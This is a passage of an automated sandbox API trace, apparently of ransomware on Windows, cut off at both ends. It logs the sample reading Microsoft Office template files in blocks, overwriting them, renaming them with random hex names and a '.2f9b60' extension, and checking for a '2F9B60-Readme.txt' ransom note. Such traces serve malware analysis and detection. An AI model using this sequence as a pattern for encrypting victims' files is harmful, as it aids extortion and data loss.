(HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b4c1b0 [0125.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7520) returned 1 [0125.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.581] WriteFile (in: hFile=0x1104, lpBuffer=0x41b4c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22e7f7c0, lpOverlapped=0x0 | out: lpBuffer=0x41b4c1b0*, lpNumberOfBytesWritten=0x22e7f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b4c1b0) returned 1 [0166.163] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x3fc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.163] ReadFile (in: hFile=0x1104, lpBuffer=0x41b13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22e7f7c0, lpOverlapped=0x0 | out: lpBuffer=0x41b13cc0*, lpNumberOfBytesRead=0x22e7f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.241] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x3fc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0166.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0166.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0bc0 [0166.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0bc0) returned 1 [0166.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429f52c0 [0166.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0bc0 [0166.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a10d0 [0166.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a10d0) returned 1 [0166.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0166.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0166.243] WriteFile (in: hFile=0x1104, lpBuffer=0x429f52c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22e7f7c0, lpOverlapped=0x0 | out: lpBuffer=0x429f52c0*, lpNumberOfBytesWritten=0x22e7f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429f52c0) returned 1 [0194.664] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x79417, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.664] ReadFile (in: hFile=0x1104, lpBuffer=0x41b13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22e7f7c0, lpOverlapped=0x0 | out: lpBuffer=0x41b13cc0*, lpNumberOfBytesRead=0x22e7f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.743] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x79417, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0194.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d400 [0194.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d400) returned 1 [0194.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203554e0 [0194.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d400 [0194.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d100 [0194.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d100) returned 1 [0194.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0194.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.746] WriteFile (in: hFile=0x1104, lpBuffer=0x203554e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22e7f7c0, lpOverlapped=0x0 | out: lpBuffer=0x203554e0*, lpNumberOfBytesWritten=0x22e7f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203554e0) returned 1 [0205.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319ffa0 [0205.390] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.390] WriteFile (in: hFile=0x1104, lpBuffer=0x431f6560*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x22e7f870, lpOverlapped=0x0 | out: lpBuffer=0x431f6560*, lpNumberOfBytesWritten=0x22e7f870*=0x14e, lpOverlapped=0x0) returned 1 [0208.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263770 [0208.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263770) returned 1 [0208.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x20263770 [0208.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625a0 [0208.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202631d0 [0208.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202631d0) returned 1 [0208.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0208.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce61650 [0208.892] sprintf (in: _Dest=0x1ce61650, _Format="%c%c" | out: _Dest="da") returned 2 [0208.892] sprintf (in: _Dest=0x1ce61652, _Format="%c%c" | out: _Dest="75") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61654, _Format="%c%c" | out: _Dest="96") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61656, _Format="%c%c" | out: _Dest="cb") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61658, _Format="%c%c" | out: _Dest="b9") returned 2 [0208.893] sprintf (in: _Dest=0x1ce6165a, _Format="%c%c" | out: _Dest="ba") returned 2 [0208.893] sprintf (in: _Dest=0x1ce6165c, _Format="%c%c" | out: _Dest="5c") returned 2 [0208.893] sprintf (in: _Dest=0x1ce6165e, _Format="%c%c" | out: _Dest="61") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61660, _Format="%c%c" | out: _Dest="d9") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61662, _Format="%c%c" | out: _Dest="d6") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61664, _Format="%c%c" | out: _Dest="0c") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61666, _Format="%c%c" | out: _Dest="d9") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61668, _Format="%c%c" | out: _Dest="f4") returned 2 [0208.893] sprintf (in: _Dest=0x1ce6166a, _Format="%c%c" | out: _Dest="1b") returned 2 [0208.893] sprintf (in: _Dest=0x1ce6166c, _Format="%c%c" | out: _Dest="59") returned 2 [0208.893] sprintf (in: _Dest=0x1ce6166e, _Format="%c%c" | out: _Dest="82") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61670, _Format="%c%c" | out: _Dest="52") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61672, _Format="%c%c" | out: _Dest="f2") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61674, _Format="%c%c" | out: _Dest="38") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61676, _Format="%c%c" | out: _Dest="5c") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61678, _Format="%c%c" | out: _Dest="9f") returned 2 [0208.893] sprintf (in: _Dest=0x1ce6167a, _Format="%c%c" | out: _Dest="d8") returned 2 [0208.893] sprintf (in: _Dest=0x1ce6167c, _Format="%c%c" | out: _Dest="1e") returned 2 [0208.893] sprintf (in: _Dest=0x1ce6167e, _Format="%c%c" | out: _Dest="95") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61680, _Format="%c%c" | out: _Dest="7f") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61682, _Format="%c%c" | out: _Dest="56") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61684, _Format="%c%c" | out: _Dest="d9") returned 2 [0208.893] sprintf (in: _Dest=0x1ce61686, _Format="%c%c" | out: _Dest="58") returned 2 [0208.893] RtlInitAnsiString (in: DestinationString=0x22e7f8e8, SourceString="da7596cbb9ba5c61d9d60cd9f41b598252f2385c9fd81e957f56d958" | out: DestinationString="da7596cbb9ba5c61d9d60cd9f41b598252f2385c9fd81e957f56d958") [0208.893] RtlAnsiStringToUnicodeString (in: DestinationString=0x22e7f8b8, SourceString="da7596cbb9ba5c61d9d60cd9f41b598252f2385c9fd81e957f56d958", AllocateDestinationString=1 | out: DestinationString="da7596cbb9ba5c61d9d60cd9f41b598252f2385c9fd81e957f56d958") returned 0x0 [0208.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1ceba260 [0208.894] wcscat (in: _Dest=0x431464b0, _Source="da7596cbb9ba5c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\da7596cbb9ba5c") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\da7596cbb9ba5c" [0208.894] wcscat (in: _Dest=0x431464b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\da7596cbb9ba5c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\da7596cbb9ba5c.2f9b60" [0208.894] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\da7596cbb9ba5c.2f9b60", NtPathName=0x22e7f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\da7596cbb9ba5c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fd830 [0238.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fd830) returned 1 [0238.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430aa830) returned 1 [0238.148] NtQueryInformationFile (in: FileHandle=0x1104, IoStatusBlock=0x22e7f8f8, FileInformation=0x22e7f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22e7f8f8, FileInformation=0x22e7f908) returned 0x0 [0238.149] NtSetInformationFile (FileHandle=0x1104, IoStatusBlock=0x22e7f8f8, FileInformation=0x22e7f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431464b0) returned 1 [0240.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba260) returned 1 [0240.398] FlushFileBuffers (hFile=0x1104) returned 1 [0240.628] CloseHandle (hObject=0x1104) returned 1 [0242.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4319c9a0 [0242.620] wcscpy (in: _Dest=0x4319c9a0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0242.620] wcscat (in: _Dest=0x4319c9a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" [0242.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\2f9b60-readme.txt")) returned 0x20 [0243.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319c9a0) returned 1 [0243.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d410) returned 1 Thread: id = 1632 os_tid = 0x1b04 [0125.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt")) returned 0x20 [0125.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt", dwFileAttributes=0x20) returned 1 [0125.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\tasks.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14ac [0125.599] GetFileSizeEx (in: hFile=0x14ac, lpFileSize=0x223cf8a0 | out: lpFileSize=0x223cf8a0*=544361) returned 1 [0125.599] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x84e65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.599] ReadFile (in: hFile=0x14ac, lpBuffer=0x223cf820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x223cf868, lpOverlapped=0x0 | out: lpBuffer=0x223cf820*, lpNumberOfBytesRead=0x223cf868*=0x4, lpOverlapped=0x0) returned 1 [0125.613] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a40 [0125.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a70 [0125.614] NtQuerySystemTime (in: CurrentTime=0x223cf760 | out: CurrentTime=0x223cf760*=132462177309850000) returned 0x0 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x40f2d7d1 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x83bf7e4 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x2d6e2a87 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x2b605f0 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x6ad0202f [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x3ba3d166 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x25ef2dd5 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x432d7aa9 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x35c571b3 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x41c24a7 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x63191ce1 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x196a233a [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x4d339709 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x4969cde9 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x64bb8c6b [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x5edcbad8 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x487cf3f7 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x131277f7 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x207d2580 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x5d7451f5 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x6376a46d [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x7d3eb81b [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x65e9c027 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x38ce72c8 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0xfbcb113 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x5ed6a155 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x50f395d6 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x6a5aa123 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x23adb1e3 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x4cbaf0f1 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x63bb1b34 [0125.614] RtlRandomEx (in: Seed=0x223cf750 | out: Seed=0x223cf750) returned 0x7570c72a [0125.622] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.622] ReadFile (in: hFile=0x14ac, lpBuffer=0x41b485a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x223cf7c0, lpOverlapped=0x0 | out: lpBuffer=0x41b485a0*, lpNumberOfBytesRead=0x223cf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0125.624] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7520) returned 1 [0125.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b44990 [0125.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a70 [0125.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6a70) returned 1 [0125.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.625] WriteFile (in: hFile=0x14ac, lpBuffer=0x41b44990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x223cf7c0, lpOverlapped=0x0 | out: lpBuffer=0x41b44990*, lpNumberOfBytesWritten=0x223cf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b44990) returned 1 [0161.100] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.100] ReadFile (in: hFile=0x14ac, lpBuffer=0x41b485a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x223cf7c0, lpOverlapped=0x0 | out: lpBuffer=0x41b485a0*, lpNumberOfBytesRead=0x223cf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0165.621] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0165.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff100 [0165.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff100) returned 1 [0165.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf16700 [0165.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff100 [0165.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff0d0 [0165.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff0d0) returned 1 [0165.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0165.624] WriteFile (in: hFile=0x14ac, lpBuffer=0x1cf16700*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x223cf7c0, lpOverlapped=0x0 | out: lpBuffer=0x1cf16700*, lpNumberOfBytesWritten=0x223cf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf16700) returned 1 [0187.137] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x81269, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.137] ReadFile (in: hFile=0x14ac, lpBuffer=0x41b485a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x223cf7c0, lpOverlapped=0x0 | out: lpBuffer=0x41b485a0*, lpNumberOfBytesRead=0x223cf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.550] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x81269, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138c80 [0190.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138c80) returned 1 [0190.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b40ae0 [0190.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138c80 [0190.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138cb0 [0190.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138cb0) returned 1 [0190.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.553] WriteFile (in: hFile=0x14ac, lpBuffer=0x42b40ae0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x223cf7c0, lpOverlapped=0x0 | out: lpBuffer=0x42b40ae0*, lpNumberOfBytesWritten=0x223cf7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b40ae0) returned 1 [0205.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f210 [0205.304] SetFilePointerEx (in: hFile=0x14ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.304] WriteFile (in: hFile=0x14ac, lpBuffer=0x1cebd2a0*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x223cf870, lpOverlapped=0x0 | out: lpBuffer=0x1cebd2a0*, lpNumberOfBytesWritten=0x223cf870*=0x148, lpOverlapped=0x0) returned 1 [0208.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a60 [0208.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c000 [0208.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c000) returned 1 [0208.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d520 [0208.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c000 [0208.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205beb0 [0208.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205beb0) returned 1 [0208.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a60) returned 1 [0208.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5e370 [0208.552] sprintf (in: _Dest=0x1ce5e370, _Format="%c%c" | out: _Dest="6e") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e372, _Format="%c%c" | out: _Dest="1e") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e374, _Format="%c%c" | out: _Dest="de") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e376, _Format="%c%c" | out: _Dest="7a") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e378, _Format="%c%c" | out: _Dest="e8") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e37a, _Format="%c%c" | out: _Dest="ef") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e37c, _Format="%c%c" | out: _Dest="23") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e37e, _Format="%c%c" | out: _Dest="2e") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e380, _Format="%c%c" | out: _Dest="1c") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e382, _Format="%c%c" | out: _Dest="0f") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e384, _Format="%c%c" | out: _Dest="2d") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e386, _Format="%c%c" | out: _Dest="f6") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e388, _Format="%c%c" | out: _Dest="95") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e38a, _Format="%c%c" | out: _Dest="f4") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e38c, _Format="%c%c" | out: _Dest="17") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e38e, _Format="%c%c" | out: _Dest="60") returned 2 [0208.552] sprintf (in: _Dest=0x1ce5e390, 